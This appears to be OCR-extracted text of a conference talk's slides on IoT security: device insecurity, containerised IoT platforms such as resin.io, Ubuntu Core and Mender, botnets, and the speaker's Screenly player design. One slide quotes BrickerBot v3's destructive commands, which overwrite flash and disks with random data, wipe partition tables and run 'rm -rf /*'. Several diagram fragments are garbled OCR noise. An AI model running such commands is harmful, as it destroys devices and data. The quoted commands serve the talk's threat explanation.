Internet of Shit

The "S” in “loT” stands for "Security”
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Viktor (@vpetersson)

Entrepreneur, geek, tinkerer
Mediocre developer

OK-ish at DevOps

Founder of Screenly (and a few
other things)
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The sad state of "smart” devices

BEST-CASE

WJORST-CASE

— HOL LONG YOU'VE. HAD YOUR SMART APPLIANCE —
6MONTHS — 1YEAR  SYEARS 10 YEARS

YOURE CONSTANTLY T

BEING RESCUED FROM s
PERIL BY A FACELESS P
TEAM OF ENGINEERS s
WHO COULD LANDER y
AWAY ATANY TME 7

7
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YOUR APPLIANCE 1S
PART OF A BOTNET RUN
BY ORGANIZED CRIME

© xkcd
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“The Internet of Things is a science
project focused on creating the most
complex way possible of turning the
lights on.”
@domguinard

g I\
Jm@n@{, controlplane









| AN %






https://zdnet1.cbsistatic.com/hub/i/r/2016/07/11/2e89c16b-ed63-4e29-b817-3bc1cfa7f0c8/resize/770xauto/095c828b1294e12ddb695214a70b419d/wall-e-junkyard.jpg

I~
-
S Sass

-

- -, -
&
> > — > —
> = P 3 >
- - - -
- e @  ——— - - - @ cem—ee
- D
- ——— ~
> e - » — -»
=
- - e
5 - -
-~
b —— QG mm——
——
D “—

15



https://jaytaylor.com/notes/assets/a5f76bb7-739f-4fe3-a095-373bc3891981-0.gif
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https://www.theregister.co.uk/2016/03/25/vnc_roulette/
https://www.tomsquide.com/us/pictures-story/748-vnc-roulette-slideshow.html#s12



https://www.theregister.co.uk/2016/03/25/vnc_roulette/
https://www.tomsguide.com/us/pictures-story/748-vnc-roulette-slideshow.html#s12

What This Talk is About
e |oT: The State of the Art

e How Containers Can Help
e Botnets and Brickerbots

e Building Better Devices
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loT: The State of the Art





https://www.wired.com/2016/08/jeep-hackers-return-high-speed-steering-acceleration-hacks/



http://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/
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Containers and loT
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Modern loT Operating Systems

eliot @ Core resin.io

( 33 menper %‘ )




OS OTA Process Isolation & State

resin.io X X Stable

Ubuntu Core X X Stable

eliot X X Proof of Concept
Mender X - Beta (?)

ACRN - X Beta (?)

s
Jorenty
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SAFETY/SECURITY CRITICAL DOMAIN NON-SAFETY CRITICAL DOMAIN

Service 0S
(s0S) VM1 VM2 VM3
Middleware & Frameworks Middleware & Frameworks Middleware & Frameworks
Middleware & Khavice Jode! ‘ : . : :
Frameworks I Linux | (RTOS) Windows | Android Linux | (RTOS)
—*.‘ k o -

Linux | (RTOS)
Kernel Mediators

IPU GPU Audio DSP Graphics & Computer Graphics & Graphics &
Mediation Mediation Mediation Video Vision Video Video
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. Management Server
Mender Architecture e

Devices check for software updates
from the Mender Management Server

Devices

Download software updates
over HTTPS

Device
partition layout

e
8- 1143
rootfs + kernel rootfs + kernel
(Active) [GEE)

Data
(Persistent

settings) °
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Container Oriented loT
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“resin.io

DEPENDENCIES

GIT CLONE APT-GET WGET

1 v
| i |
v L M
kﬂ > ,—)

v
|BUILDER
Y v

|| BOAE || L, ® R
© GIT r ‘_‘ w DOCKER

“git push master resin” _@| oot r:O o
Yocto based - I

Application isolated
Isolation tool: Balena
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eliot

e Alpha
e Heavily inspired by CoreOS / Kubernetes
e Isolation tool: Docker

E
O

7\
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eliot

[ernocaapa:~]$ eli run -i -t ernoaapa/hello-world
v Discovered 1 device(s) from network

Hello world!

Hello world!

Hello world!

<E

SIGINT received! I will stop the process now...

v Deleted pod [eliot]

7\
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@) Core

e Smaller footprint than “Classic”

e Lots of “read-only”

e Interfaces, slots and plugs

e Snaps, Docker and LXD

e (Primary) Isolation tool: AppArmor
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@ COre - Untrusted Domain

| DUNNO - | DON'T REALLY
TRUST TECHNOLOGY.

E
(o
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@ COre - Untrusted Domain

e Restricted host filesystem access
e Restricted host APIs
e Restricted to application-specific user data

e More isolation than a rogue nation state

controlplane



@ COre - Untrusted Domain

e Restricted host filesystem access

e Restricted host APIs

e Restricted to application-specific user data
e More isolation than a rogue nation state

e Possible GDPR compliance

gty VAN
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@ COre - Trusted Domain

e Built from the Ubuntu archive
e Archive integrity guaranteed by package maintainers

e May or may not run confined
o Access to resource or data in the user’s session

o Limited system service access (DAC/capability/policy permitting)
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(Install) (Runtime)

foo packaging : SecPolicy ID: snap.appD.d x bar process' sandbox :
name: foo < SecPolicyID: snap.foo.bar &
. apps: : AppC process’ sandbox - | SNAP_REVISION: 7 :
' bar: : Sl SNAP: /snap/foo/7
. plugs: x AppB process’ sandbox .
- qux . SecPolicylD: snap.appB.b . p
- network . .
t W
@
baz packagin .
A bg, . : baz process’ sandbox 0rg.quIAPI mo
apps: SecPolicyID: snap.baz.
: : SNAP_REVISION: 3
daemon: dbus . SNAP: [snap/baz/3
slots: DBus bind: org.qux
- qux o
! |
. ¥ ¥
% dbus glibc :
y Ubuntu Cor :
snapd T systemd H:
Kernel (AppArmor, seccomp, cgroups, etc) :
https://developer.ubuntu.com/static/resources/ubuntu-core-16-security-whitepaper.pdf controlplane



https://developer.ubuntu.com/static/resources/ubuntu-core-16-security-whitepaper.pdf
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DDoS Attack from hacked loT Device

Attack vector

Compromised
Control Server

e

Man-in-the-middle

Attack

Launch DDoS
attack

Send data to
unauthorized
control server

Infect other loT
devices

attack Insecure communication

Corrupt firmware

with hacked update Vulnerable firmware
Hack through z

default password Poor authentication
‘""’:;’,.'}‘?L‘.’:,Z’f o Compromised OS & tools
Hack device through
JTAG & open ports

loT device

https://www.networkworld.com/article/3128372/internet-of-things/ddos-at

tacks-using-iot-devices-follow-the-manchurian-candidate-model.html
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https://www.networkworld.com/article/3128372/internet-of-things/ddos-attacks-using-iot-devices-follow-the-manchurian-candidate-model.html
https://www.networkworld.com/article/3128372/internet-of-things/ddos-attacks-using-iot-devices-follow-the-manchurian-candidate-model.html

h " L !
1 1 5 b

Wouwld vou like to
continue?



# BrickerBot v3 device logic

busybox
busybox
busybox
busybox
busybox
busybox
busybox
busybox

cat
cat
cat
cat
cat
cat
cat
cat

/dev/urandom
/dev/urandom
/dev/urandom
/dev/urandom
/dev/urandom
/dev/urandom
/dev/urandom
/dev/urandom

>/dev/mtdblocko &

>/dev/sda &

>/dev/mtdblock10 &

>/dev/mmcO &
>/dev/sdb &
>/dev/ramo &
>/dev/mtdo &
>/dev/mtdl &

>/dev/mtdblockl &
busybox cat /dev/urandom >/dev/mtdblock2 &
busybox cat /dev/urandom >/dev/mtdblock3 &
fdisk -C 1 -H 1 -S1 /dev/mtdo

cat /dev/urandom

fdisk -C 1 -H 1 -S1 /dev/mtdl

$
$
$
$
$
$
$
$
$ busybox
$
$
$
w
$
w
$ fdisk -C 1 -H 1 -S1 /dev/sda

w

$ fdisk -C 1 -H 1 -S1 /dev/mtdblocke

w

$ route del default;iproute del default;ip route del default; rm -rf /* 2>/dev/null & sysctl -w
net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1

$ halt -n -f

$ reboot



Defence Against the Dark Botnets
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Source: Cama Botnet






1 Thps DDoS Attack

Powered By 150,000 Hacked loT Devices



Massive DDoS Attack

Spotify, Twitter, Github, Etsy, and More Go Offline
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Building Better loT Devices
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Device life cycle
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Designing Better loT Device




Kubernetes? Istio? VirtualKubelet?

7\
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Azure loT Edge Connector for Kubernetes
// . O Kubernetes Nodes \\\\

s
Jorenty

N Y

Operator
od D
Specification
A
E’Ej _____________ .
Kubernetes -
Master | Update
i Deployment
v
P o= === Py
(coes) (Goce) (coe9)
/ On-prem Edge devices
Kub tes Pod
o= P
q[m
Virtual Kubelet IoT Edge Provider |
/

S~

httog;//qithub.com/Azure/iot-edqe—virtual—kubelet-&bvider
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https://github.com/Azure/iot-edge-virtual-kubelet-provider




Screenly 1 Player

deblan

s
Jorenty

p+

(EeMERS)

Glue-All
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Screenly 2 Player criteria

e Disk images built on CI
e Process isolation (perhaps using containers)
e Transactional updates (app and OS)
o Automatic roll-back
e Not having to manage the OS layer ourselves
o Must be locked down/Hardened by default
e Bonus: Cryptographically signed updates

o
Jorenty
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Screenly 2 Player







Conclusion

e |oT security is an afterthought at best

e The new breed of containerised loT platforms greatly enhance the update and
security story

e We can fix life cycle and runtime security

e Patch your devices!
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@sublimino @vpetersson
@controlplaneio @screenlyapp



